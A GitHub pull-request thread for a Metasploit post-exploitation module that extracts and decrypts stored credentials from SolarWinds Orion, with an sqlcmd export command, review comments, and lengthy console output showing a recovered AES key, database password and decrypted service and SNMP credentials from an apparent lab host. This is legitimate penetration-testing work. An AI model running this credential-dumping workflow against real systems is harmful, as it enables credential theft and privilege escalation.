                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             ,        0
...

It also breaks without the header dashed line separator:

CredentialID,Name                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ,Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       ,CredentialType                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ,CredentialOwner                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   ,CredentialPropertyName                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ,Value                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           ,Encrypted
           1,0x4100650073004B006500790049005600430072006500640065006E007400690061006C007300                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ,0x41004500530020004B0065007900200061006E006400200049006E0069007400690061006C00690073006100740069006F006E00200056006500630074006F007200                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ,0x536F6C617257696E64732E5345554D2E436F6D6D6F6E2E44617461456E6372797074696F6E2E4165734B6579495643726564656E7469616C73                                                                                                                                                                                                                                                                                                                                                                                                              ,0x5345554D                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ,0x4369706865724B6579                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ,0x3400690074006B004F0059004E0046004B0047004B004D0074007A004500370046004400610064004400560070006600580046004E00460043006B0041004800550079004700490078007800690043003500790030003D00                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                ,        0
           1,0x4100650073004B006500790049005600430072006500640065006E007400690061006C007300                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ,0x41004500530020004B0065007900200061006E006400200049006E0069007400690061006C00690073006100740069006F006E00200056006500630074006F007200                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ,0x536F6C617257696E64732E5345554D2E436F6D6D6F6E2E44617461456E6372797074696F6E2E4165734B6579495643726564656E7469616C73                                                                                                                                                                                                                                                                                                                                                                                                              ,0x5345554D                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ,0x496E697469616C697A6174696F6E566563746F72                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ,0x3700520057003300370052007A002F004300500055006C007A005900790079004D004E0045002F006F0077003D003D00                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                ,        0
...

I finally found the right switches to use:

sqlcmd -E -S .\SOLARWINDS_ORION -d SolarWindsOrion -i solarwinds_sql_query.sql -o solarwinds_dump.csv -s"," -W

It works after removing the dashed line and the extra (XX rows affected) line added by sqlcmd:

CredentialID,Name,Description,CredentialType,CredentialOwner,CredentialPropertyName,Value,Encrypted
1,0x4100650073004B006500790049005600430072006500640065006E007400690061006C007300,0x41004500530020004B0065007900200061006E006400200049006E0069007400690061006C00690073006100740069006F006E00200056006500630074006F007200,0x536F6C617257696E64732E5345554D2E436F6D6D6F6E2E44617461456E6372797074696F6E2E4165734B6579495643726564656E7469616C73,0x5345554D,0x4369706865724B6579,0x3400690074006B004F0059004E0046004B0047004B004D0074007A004500370046004400610064004400560070006600580046004E00460043006B0041004800550079004700490078007800690043003500790030003D00,0
1,0x4100650073004B006500790049005600430072006500640065006E007400690061006C007300,0x41004500530020004B0065007900200061006E006400200049006E0069007400690061006C00690073006100740069006F006E00200056006500630074006F007200,0x536F6C617257696E64732E5345554D2E436F6D6D6F6E2E44617461456E6372797074696F6E2E4165734B6579495643726564656E7469616C73,0x5345554D,0x496E697469616C697A6174696F6E566563746F72,0x3700520057003300370052007A002F004300500055006C007A005900790079004D004E0045002F006F0077003D003D00,0
...

I believe that would be a good idea to handle errors when parsing the CVS file to avoid breaking the application with a NoMethodError exception. Maybe, the documentation could also be updated to help the user to generate the CVS with the expected format.

Nuked the last embarrassing typo in the module description.

Updated the documentation to include detail on sqlcmd / CSV export
process when manually exporting the data.
@npm-cesium137-io
Copy link
Contributor Author

@cdelafuente-r7 thanks for this info, it all makes sense. You are absolutely correct, I presumed folks would be using SSMS and it didn't occur to me to include the needed info in the docs when invoking sqlcmd, the presumption being if sqlcmd were available, the module would just use it. I have since updated the docs with the suggested command line switches (the -W is crucial because it strips the trailing whitespace) as well as affirming that the CSV must be well-formed and not have trailing whitespace - hopefully, that should be enough to point others in the right direction if they are in the same situation.

Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you @npm-cesium137-io! I just added a last suggestion to make sure extra space characters are removed when parsing the CSV. Other than that, it all looks good to me and it is good to land. I tested against SolarWinds Orion Build 2022.4.0.1216 and verified the credentials were correctly extracted.

Improved CSV input error handling and various minor bug fixes.
@npm-cesium137-io
Copy link
Contributor Author

@cdelafuente-r7 hi there, sorry this is late - I've committed your suggestion, as well as a couple other minor fixes. The converters you introduced resolved a problem I had using osql vs. sqlcmd (namely the -W param does not exist in the former) so this now opens up the potential to use osql as well - which I don't expect to see a lot of but I was nevertheless very happy to learn this. I will def. be incorporating these optimizations in future modules, thanks!

actions for extraction and decryption of the data are provided to allow session migration during
execution in order to log in to the SQL database using SSPI. Tested on the 2020 version of
SolarWinds Orion NPM. This module is possible only because of the source code and technical
information published by Djordje Atlialp:
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Small comment. That's my blog. Djordje Atlialp is the person who made the template I use for my website. I see where the confusion came into play since the footer has his name. I'll get that fixed. Please fix the attribution here though :)

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed if you need proof :)

Updated original research attribution to align with reality.
@npm-cesium137-io
Copy link
Contributor Author

@mubix Wow I must've been on autopilot, sorry about that! I updated the module description and the markdown doc. Nice to meet you by the way, I had the opportunity to use SolarFlare during an engagement over the fall - very powerful, and it inspired me to author this module. Credential decryption is the most civilized form of priv esc, don't you think?!

@cdelafuente-r7
Copy link
Contributor

Thanks @npm-cesium137-io! Everything looks good now. I tested against SolarWinds Orion Build 2022.4.0.1216 and verified the secrets were correctly decrypted. I'll go ahead and land it. Thanks again for your contribution.

Example output

Dump
msf6 post(windows/gather/credentials/solarwinds_orion_dump) > run session=1 action=Dump

[*] Hostname DESKTOP-26CQRHP IPv4 192.168.100.118
[*] SolarWinds Orion Build 2022.4.0.1216
[*] Init SolarWinds Crypto ...
[*] Decrypt SolarWinds CryptoHelper Keystorage ...
[+] Compressed size: 2428
[+] Orion AES Encryption Key
[+] 	HEX: B1245384D50AC3F2B939D153BBBCB8A1069C0ABEA5C02698F5551CE14EBB0F63
[*] Extract SolarWinds Orion SSL Certificate Private Key ...
[+] Compressed size: 1344
[+] Compressed size: 1732
[+] Extracted SolarWinds Orion RSA private key for LocalMachine certificate with SHA1 thumbprint 2B94678E3F296FB3E31757F60F8285D9C5E4BC49
[+] SolarWinds Orion RSA Key: /home/msfuser/.msf4/loot/20221220152132_default_192.168.100.118_orionssl_410219.key
[*] SolarWinds Orion Install Path: C:\Program Files\SolarWinds\Orion\
[*] Decrypt SWNetPerfMon.DB ...
[+] SolarWinds Orion SQL Database Connection Configuration:
[+] 	Instance Name: (local)\SOLARWINDS_ORION
[+] 	Database Name: SolarWindsOrion
[+] 	Database User: SolarWindsOrionDatabaseUser
[+] 	Database Pass: 5yJ-3qH,YC4408YU
[*] Performing export of SolarWinds Orion SQL database to CSV file
[*] Export SolarWinds Orion DB ...
[+] 22 rows exported, 9 unique CredentialIDs
[+] Encrypted SolarWinds Orion Database Dump: /home/msfuser/.msf4/loot/20221220152133_default_192.168.100.118_solarwinds_orion_591438.txt
[*] Performing decryption of SolarWinds Orion SQL database
[+] 22 rows loaded, 9 unique CredentialIDs
[*] Process SolarWinds Orion DB ...
[+] 22 rows processed
[*] 22 rows recovered: 15 plaintext, 7 decrypted (0 blank)
[*] 22 rows written (0 blank rows withheld)
[+] 9 unique CredentialID records recovered
[+] Decrypted SolarWinds Orion Database Dump: /home/msfuser/.msf4/loot/20221220152133_default_192.168.100.118_solarwinds_orion_507521.txt
[*] Post module execution completed
msf6 post(windows/gather/credentials/solarwinds_orion_dump) > creds
Credentials
===========

host             origin           service           public                       private                                                           realm                     private_type        JtR Format
----             ------           -------           ------                       -------                                                           -----                     ------------        ----------
                                                    Orion NPM AES Key            B1245384D50AC3F2B939D153BBBCB8A1069C0ABEA5C02698F5551CE14EBB0F63                            Nonreplayable hash
192.168.100.118  192.168.100.118  1433/tcp (mssql)  SolarWindsOrionDatabaseUser  5yJ-3qH,YC4408YU                                                  (local)\SOLARWINDS_ORION  Password

msf6 post(windows/gather/credentials/solarwinds_orion_dump) > loot

Loot
====

host             service  type                  name                  content     info                      path
----             -------  ----                  ----                  -------     ----                      ----
192.168.100.118           orionssl              solarwinds-orion.key  x-pem-file  SolarWinds Orion RSA Key  /home/msfuser/.msf4/loot/20221220152132_default_192.168.100.118_orionssl_410219.key
192.168.100.118           solarwinds_orion_enc  SolarWindsOrion.csv   text/csv    Encrypted Database Dump   /home/msfuser/.msf4/loot/20221220152133_default_192.168.100.118_solarwinds_orion_591438.txt
192.168.100.118           solarwinds_orion_dec  SolarWindsOrion.csv   text/csv    Decrypted Database Dump   /home/msfuser/.msf4/loot/20221220152133_default_192.168.100.118_solarwinds_orion_507521.txt
Export
msf6 post(windows/gather/credentials/solarwinds_orion_dump) > run session=-1 action=Export

[*] Hostname DESKTOP-26CQRHP IPv4 192.168.100.118
[*] SolarWinds Orion Build 2022.4.0.1216
[*] Init SolarWinds Crypto ...
[*] Decrypt SolarWinds CryptoHelper Keystorage ...
[+] Compressed size: 2424
[+] Orion AES Encryption Key
[+] 	HEX: B1245384D50AC3F2B939D153BBBCB8A1069C0ABEA5C02698F5551CE14EBB0F63
[*] Extract SolarWinds Orion SSL Certificate Private Key ...
[+] Compressed size: 1344
[+] Compressed size: 1732
[+] Extracted SolarWinds Orion RSA private key for LocalMachine certificate with SHA1 thumbprint 2B94678E3F296FB3E31757F60F8285D9C5E4BC49
[+] SolarWinds Orion RSA Key: /home/msfuser/.msf4/loot/20221220152426_default_192.168.100.118_orionssl_287420.key
[*] SolarWinds Orion Install Path: C:\Program Files\SolarWinds\Orion\
[*] Decrypt SWNetPerfMon.DB ...
[+] SolarWinds Orion SQL Database Connection Configuration:
[+] 	Instance Name: (local)\SOLARWINDS_ORION
[+] 	Database Name: SolarWindsOrion
[+] 	Database User: SolarWindsOrionDatabaseUser
[+] 	Database Pass: 5yJ-3qH,YC4408YU
[*] Performing export of SolarWinds Orion SQL database to CSV file
[*] Export SolarWinds Orion DB ...
[+] 22 rows exported, 9 unique CredentialIDs
[+] Encrypted SolarWinds Orion Database Dump: /home/msfuser/.msf4/loot/20221220152427_default_192.168.100.118_solarwinds_orion_910490.txt
[*] Post module execution completed
msf6 post(windows/gather/credentials/solarwinds_orion_dump) > creds
Credentials
===========

host             origin           service           public                       private                                                           realm                     private_type        JtR Format
----             ------           -------           ------                       -------                                                           -----                     ------------        ----------
                                                    Orion NPM AES Key            B1245384D50AC3F2B939D153BBBCB8A1069C0ABEA5C02698F5551CE14EBB0F63                            Nonreplayable hash
192.168.100.118  192.168.100.118  1433/tcp (mssql)  SolarWindsOrionDatabaseUser  5yJ-3qH,YC4408YU                                                  (local)\SOLARWINDS_ORION  Password

msf6 post(windows/gather/credentials/solarwinds_orion_dump) > loot

Loot
====

host             service  type                  name                  content     info                      path
----             -------  ----                  ----                  -------     ----                      ----
192.168.100.118           orionssl              solarwinds-orion.key  x-pem-file  SolarWinds Orion RSA Key  /home/msfuser/.msf4/loot/20221220152426_default_192.168.100.118_orionssl_287420.key
192.168.100.118           solarwinds_orion_enc  SolarWindsOrion.csv   text/csv    Encrypted Database Dump   /home/msfuser/.msf4/loot/20221220152427_default_192.168.100.118_solarwinds_orion_910490.txt
Decrypt
msf6 post(windows/gather/credentials/solarwinds_orion_dump) > run session=1 action=Decrypt CSV_FILE=/home/msfuser/tmp/solarwinds_dump.csv RSA_KEY_FILE=/home/msfuser/.msf4/loot/20221220152426_default_192.168.100.118_orionssl_287420.key

[*] Hostname DESKTOP-26CQRHP IPv4 192.168.100.118
[*] SolarWinds Orion Build 2022.4.0.1216
[*] Init SolarWinds Crypto ...
[*] Decrypt SolarWinds CryptoHelper Keystorage ...
[+] Compressed size: 2424
[+] Orion AES Encryption Key
[+] 	HEX: B1245384D50AC3F2B939D153BBBCB8A1069C0ABEA5C02698F5551CE14EBB0F63
[*] Extract SolarWinds Orion SSL Certificate Private Key ...
[*] Performing decryption of SolarWinds Orion SQL database
[+] 22 rows loaded, 9 unique CredentialIDs
[*] Process SolarWinds Orion DB ...
[+] 22 rows processed
[*] 22 rows recovered: 15 plaintext, 7 decrypted (0 blank)
[*] 22 rows written (0 blank rows withheld)
[+] 9 unique CredentialID records recovered
[+] Decrypted SolarWinds Orion Database Dump: /home/msfuser/.msf4/loot/20221220152848_default_192.168.100.118_solarwinds_orion_876154.txt
[*] Post module execution completed
msf6 post(windows/gather/credentials/solarwinds_orion_dump) > loot

Loot
====

host             service  type                  name                  content     info                      path
----             -------  ----                  ----                  -------     ----                      ----
192.168.100.118           orionssl              solarwinds-orion.key  x-pem-file  SolarWinds Orion RSA Key  /home/msfuser/.msf4/loot/20221220152426_default_192.168.100.118_orionssl_287420.key
192.168.100.118           solarwinds_orion_enc  SolarWindsOrion.csv   text/csv    Encrypted Database Dump   /home/msfuser/.msf4/loot/20221220152427_default_192.168.100.118_solarwinds_orion_910490.txt
192.168.100.118           solarwinds_orion_dec  .csv                  text/csv    Decrypted Database Dump   /home/msfuser/.msf4/loot/20221220152848_default_192.168.100.118_solarwinds_orion_876154.txt

msf6 post(windows/gather/credentials/solarwinds_orion_dump) > cat /home/msfuser/.msf4/loot/20221220152848_default_192.168.100.118_solarwinds_orion_876154.txt
[*] exec: cat /home/msfuser/.msf4/loot/20221220152848_default_192.168.100.118_solarwinds_orion_876154.txt

CredentialID,Name,Description,CredentialType,CredentialOwner,CredentialPropertyName,Plaintext,Method
1,AesKeyIVCredentials,AES Key and Initialisation Vector,SolarWinds.SEUM.Common.DataEncryption.AesKeyIVCredentials,SEUM,CipherKey,4itkOYNFKGKMtzE7FDadDVpfXFNFCkAHUyGIxxiC5y0=,Plaintext
1,AesKeyIVCredentials,AES Key and Initialisation Vector,SolarWinds.SEUM.Common.DataEncryption.AesKeyIVCredentials,SEUM,InitializationVector,7RW37Rz/CPUlzYyyMNE/ow==,Plaintext
2,public,"",SolarWinds.Orion.Core.Models.Credentials.SnmpCredentialsV2,Orion,Community,public,Plaintext
3,private,"",SolarWinds.Orion.Core.Models.Credentials.SnmpCredentialsV2,Orion,Community,private,Plaintext
4,Erlang cookie,Erlang clustering cookie,SolarWinds.Orion.Core.SharedCredentials.Credentials.UsernamePasswordCredential,Erlang,Password,F1tse+0zVokuUVhhpc3Z,AES
4,Erlang cookie,Erlang clustering cookie,SolarWinds.Orion.Core.SharedCredentials.Credentials.UsernamePasswordCredential,Erlang,Username,ignored,Plaintext
5,RabbitMQ user account,RabbitMQ user account for Message Bus,SolarWinds.Orion.Core.SharedCredentials.Credentials.UsernamePasswordCredential,RabbitMQ,Password,I54uLW+Hm604QM4ULp48,AES
5,RabbitMQ user account,RabbitMQ user account for Message Bus,SolarWinds.Orion.Core.SharedCredentials.Credentials.UsernamePasswordCredential,RabbitMQ,Username,orion,Plaintext
6,EocSubscription,U,SolarWinds.Orion.Core.SharedCredentials.Credentials.UsernamePasswordCredential,SWIS,Password,:flJKH|T,AES
6,EocSubscription,U,SolarWinds.Orion.Core.SharedCredentials.Credentials.UsernamePasswordCredential,SWIS,Username,EocSubscription,Plaintext
7,Test1,U,SolarWinds.Orion.Core.SharedCredentials.Credentials.UsernamePasswordCredential,Orion,Password,P@ssw0rd!,AES
7,Test1,U,SolarWinds.Orion.Core.SharedCredentials.Credentials.UsernamePasswordCredential,Orion,Username,test1,Plaintext
8,Test2,U,SolarWinds.Orion.Core.SharedCredentials.Credentials.UsernamePasswordCredential,Orion,Password,pass123456@EFT,AES
8,Test2,U,SolarWinds.Orion.Core.SharedCredentials.Credentials.UsernamePasswordCredential,Orion,Username,test2,Plaintext
9,SNMPtest1,U,SolarWinds.Orion.Core.Models.Credentials.SnmpCredentialsV3,Orion,AuthenticationKeyIsPassword,true,Plaintext
9,SNMPtest1,U,SolarWinds.Orion.Core.Models.Credentials.SnmpCredentialsV3,Orion,AuthenticationPassword,faiy2iur@#fjd,AES
9,SNMPtest1,U,SolarWinds.Orion.Core.Models.Credentials.SnmpCredentialsV3,Orion,AuthenticationType,SHA256,Plaintext
9,SNMPtest1,U,SolarWinds.Orion.Core.Models.Credentials.SnmpCredentialsV3,Orion,Context,context test,Plaintext
9,SNMPtest1,U,SolarWinds.Orion.Core.Models.Credentials.SnmpCredentialsV3,Orion,PrivacyKeyIsPassword,true,Plaintext
9,SNMPtest1,U,SolarWinds.Orion.Core.Models.Credentials.SnmpCredentialsV3,Orion,PrivacyPassword,jsgku@23/#[d,AES
9,SNMPtest1,U,SolarWinds.Orion.Core.Models.Credentials.SnmpCredentialsV3,Orion,PrivacyType,AES256,Plaintext
9,SNMPtest1,U,SolarWinds.Orion.Core.Models.Credentials.SnmpCredentialsV3,Orion,UserName,snmp1,Plaintext

@cdelafuente-r7 cdelafuente-r7 added the rn-modules release notes for new or majorly enhanced modules label Dec 20, 2022
@cdelafuente-r7 cdelafuente-r7 merged commit fa5e4df into rapid7:master Dec 20, 2022
@cdelafuente-r7
Copy link
Contributor

Release Notes

This adds a post module for extracting encrypted credentials from SolarWinds Orion NPM.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

3 participants